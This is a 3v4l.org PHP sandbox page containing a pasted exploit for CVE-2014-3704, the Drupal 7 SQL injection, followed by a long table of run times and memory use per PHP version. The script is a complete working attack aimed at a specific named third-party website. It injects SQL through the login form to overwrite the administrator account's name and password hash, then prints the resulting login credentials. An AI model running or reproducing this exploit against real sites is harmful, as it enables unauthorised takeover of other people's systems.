3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'https://www.jnjbrasil.com.br/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username admin and password admin at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.01118.50
8.3.50.0130.00621.32
8.3.40.0100.01018.59
8.3.30.0030.01019.08
8.3.20.0000.00720.34
8.3.10.0060.00323.68
8.3.00.0040.00419.25
8.2.180.0090.00616.63
8.2.170.0190.00022.96
8.2.160.0130.00020.53
8.2.150.0040.00424.18
8.2.140.0090.00024.66
8.2.130.0050.00226.16
8.2.120.0000.00822.28
8.2.110.0030.00622.10
8.2.100.0080.00417.75
8.2.90.0000.00819.21
8.2.80.0030.00517.97
8.2.70.0000.00917.63
8.2.60.0070.00517.92
8.2.50.0060.00318.07
8.2.40.0000.00819.95
8.2.30.0000.00718.20
8.2.20.0050.00217.72
8.2.10.0040.00418.08
8.2.00.0040.00417.89
8.1.280.0090.00625.92
8.1.270.0050.00323.89
8.1.260.0040.00426.35
8.1.250.0000.00728.09
8.1.240.0030.00623.92
8.1.230.0110.00019.08
8.1.220.0000.00817.77
8.1.210.0080.00018.77
8.1.200.0090.00017.22
8.1.190.0050.00317.23
8.1.180.0090.00018.10
8.1.170.0000.00818.65
8.1.160.0050.00222.00
8.1.150.0050.00218.86
8.1.140.0030.00517.47
8.1.130.0040.00419.67
8.1.120.0000.00717.46
8.1.110.0040.00417.53
8.1.100.0040.00417.50
8.1.90.0020.00517.50
8.1.80.0000.00717.41
8.1.70.0040.00417.37
8.1.60.0040.00417.54
8.1.50.0000.00817.57
8.1.40.0040.00417.52
8.1.30.0000.00817.68
8.1.20.0050.00217.64
8.1.10.0030.00617.59
8.1.00.0030.00517.55
8.0.300.0000.00718.77
8.0.290.0050.00316.88
8.0.280.0040.00418.38
8.0.270.0000.00717.25
8.0.260.0050.00217.35
8.0.250.0070.00017.12
8.0.240.0000.00717.03
8.0.230.0000.00716.98
8.0.220.0030.00317.04
8.0.210.0070.00017.06
8.0.200.0030.00317.14
8.0.190.0060.00317.10
8.0.180.0050.00217.07
8.0.170.0000.00817.05
8.0.160.0050.00217.08
8.0.150.0040.00416.93
8.0.140.0050.00217.02
8.0.130.0030.00313.55
8.0.120.0050.00317.01
8.0.110.0080.00016.88
8.0.100.0050.00216.93
8.0.90.0030.00517.07
8.0.80.0100.01017.05
8.0.70.0000.00717.07
8.0.60.0040.00417.08
8.0.50.0000.00717.00
8.0.30.0070.01417.22
8.0.20.0110.00817.40
8.0.10.0030.00517.00
8.0.00.0130.00416.71
7.4.330.0030.00315.02
7.4.320.0030.00316.54
7.4.300.0030.00316.58
7.4.290.0070.00016.52
7.4.280.0040.00416.51
7.4.270.0030.00316.62
7.4.260.0000.00716.52
7.4.250.0040.00416.50
7.4.240.0020.00616.58
7.4.230.0030.00316.54
7.4.220.0070.01016.63
7.4.210.0070.01016.61
7.4.200.0050.00216.44
7.4.160.0100.01316.57
7.4.150.0100.00717.40
7.4.140.0130.00817.86
7.4.130.0120.00516.56
7.4.120.0080.00816.60
7.4.110.0100.00716.75
7.4.100.0030.01416.55
7.4.90.0140.00316.55
7.4.80.0140.00319.39
7.4.70.0150.00616.55
7.4.60.0070.01016.64
7.4.50.0050.00016.24
7.4.40.0100.01416.49
7.4.30.0140.01216.61
7.4.00.0070.00715.20
7.3.330.0050.00013.29
7.3.320.0000.00513.15
7.3.310.0030.00316.49
7.3.300.0080.00016.44
7.3.290.0120.00416.46
7.3.280.0110.01016.51
7.3.270.0140.00317.40
7.3.260.0160.00416.34
7.3.250.0090.00716.50
7.3.240.0200.00316.61
7.3.230.0070.01116.62
7.3.210.0130.00316.38
7.3.200.0060.01119.39
7.3.190.0090.00916.45
7.3.180.0040.01616.58
7.3.170.0070.01016.36
7.3.160.0030.01016.50
7.2.330.0070.01016.73
7.2.320.0120.00616.74
7.2.310.0090.00616.42
7.2.300.0180.00316.30
7.2.290.0060.01616.53
7.2.60.0040.01217.03
7.2.00.0000.01419.70
7.1.200.0030.00915.98
7.1.100.0140.00018.36
7.1.70.0110.00617.12
7.1.60.0040.02119.32
7.1.50.0110.00517.13
7.1.00.0070.07722.64
7.0.200.0930.00314.78
7.0.140.0100.07022.33
7.0.60.0100.08020.48
7.0.50.0070.04718.13
7.0.40.0130.08020.59
7.0.30.0330.07320.51
7.0.20.0300.05720.50
7.0.10.0100.08720.65
7.0.00.0030.09320.53
5.6.280.0030.07721.36
5.6.210.0070.08021.14
5.6.200.0070.03718.46
5.6.190.0070.07720.92
5.6.180.0130.04321.10
5.6.170.0230.08320.97
5.6.160.0130.08320.81
5.6.150.0100.08318.59
5.6.140.0070.06718.48
5.6.130.0130.04318.54
5.6.120.0030.07321.32
5.6.110.0130.03721.27
5.6.100.0070.07321.32
5.6.90.0130.08021.32
5.6.80.0130.08020.82
5.6.70.4570.03320.71
5.5.350.0270.07320.82
5.5.340.0070.04018.27
5.5.330.0200.05720.75
5.5.320.0330.06320.66
5.5.310.0330.07020.65
5.5.300.0100.07718.28
5.5.290.0070.03718.36
5.5.280.0030.04721.01
5.5.270.0130.08021.39
5.5.260.0070.08021.26
5.5.250.0070.04321.07
5.5.240.4230.03720.48
5.4.450.0830.05719.52
5.4.440.0630.06319.60
5.4.430.1030.05019.86
5.4.420.0930.04019.67
5.4.410.0130.05019.63
5.4.400.0830.05719.36
5.4.390.0730.06319.20
5.4.380.0770.05019.22
5.4.370.0800.05019.41
5.4.360.0830.05719.30
5.4.350.0870.05019.32
5.4.340.0070.03311.97
5.4.320.0060.03612.46
5.4.310.0070.03712.46
5.4.300.0080.03512.46
5.4.290.0050.04112.46
5.4.280.0060.03512.36
5.4.270.0050.03812.35
5.4.260.0070.04112.35
5.4.250.0040.04212.36
5.4.240.0060.04012.36
5.4.230.0090.04012.34
5.4.220.0050.03912.35
5.4.210.0060.03612.34
5.4.200.0100.04412.34
5.4.190.0070.04012.34
5.4.180.0030.03912.34
5.4.170.0090.04712.36
5.4.160.0080.03512.35
5.4.150.0050.03812.34
5.4.140.0080.03512.03
5.4.130.0060.03712.02
5.4.120.0070.03511.98
5.4.110.0050.03911.97
5.4.100.0080.03711.97
5.4.90.0030.03911.98
5.4.80.0040.03911.97
5.4.70.0020.03811.97
5.4.60.0070.04111.96
5.4.50.0100.04511.96
5.4.40.0080.03511.95
5.4.30.0040.03811.95
5.4.20.0040.03811.95
5.4.10.0070.03311.96
5.4.00.0060.03511.45
5.3.290.0130.03312.80
5.3.280.0100.03412.71
5.3.270.0070.03912.72
5.3.260.0040.04212.72
5.3.250.0040.03812.72
5.3.240.0110.04112.72
5.3.230.0090.05312.71
5.3.220.0060.04712.68
5.3.210.0070.03912.68
5.3.200.0080.03312.68
5.3.190.0050.03812.68
5.3.180.0080.04012.68
5.3.170.0100.04512.67
5.3.160.0110.04112.67
5.3.150.0070.03612.67
5.3.140.0070.03812.66
5.3.130.0040.04212.66
5.3.120.0100.04612.66
5.3.110.0060.04212.66
5.3.100.0120.03512.12
5.3.90.0070.03912.09
5.3.80.0060.03912.07
5.3.70.0070.03612.07
5.3.60.0040.03712.06
5.3.50.0040.03712.00
5.3.40.0040.03812.00
5.3.30.0050.03611.95
5.3.20.0060.03611.73
5.3.10.0080.03511.70
5.3.00.0100.03711.68
5.2.170.0160.0739.19
5.2.160.0060.0369.19
5.2.150.0090.0289.19
5.2.140.0030.0329.18
5.2.130.0030.0309.15
5.2.120.0020.0319.14
5.2.110.0030.0529.15
5.2.100.0060.0329.15
5.2.90.0060.0409.15
5.2.80.0050.0319.14
5.2.70.0030.0339.14
5.2.60.0080.0319.11
5.2.50.0060.0289.07
5.2.40.0060.0279.04
5.2.30.0030.0339.02
5.2.20.0070.0279.02
5.2.10.0050.0288.93
5.2.00.0050.0298.80
5.1.60.0040.0248.08
5.1.50.0040.0248.08
5.1.40.0030.0258.06
5.1.30.0080.0288.40
5.1.20.0070.0248.43
5.1.10.0040.0258.15
5.1.00.0090.0258.15
5.0.50.0030.0316.63
5.0.40.0030.0226.50
5.0.30.0070.0356.31
5.0.20.0070.0176.27
5.0.10.0020.0226.26
5.0.00.0070.0446.25
4.4.90.0080.0174.78
4.4.80.0040.0184.75
4.4.70.0030.0164.75
4.4.60.0020.0164.76
4.4.50.0010.0174.77
4.4.40.0020.0264.71
4.4.30.0040.0144.76
4.4.20.0040.0154.84
4.4.10.0030.0164.85
4.4.00.0030.0254.76
4.3.110.0030.0164.66
4.3.100.0020.0164.66
4.3.90.0030.0144.63
4.3.80.0020.0254.59
4.3.70.0010.0174.63
4.3.60.0040.0144.62
4.3.50.0030.0164.63
4.3.40.0040.0244.54
4.3.30.0040.0143.31
4.3.20.0020.0173.28
4.3.10.0030.0153.23
4.3.00.0130.0236.87

preferences:
51.66 ms | 400 KiB | 5 Q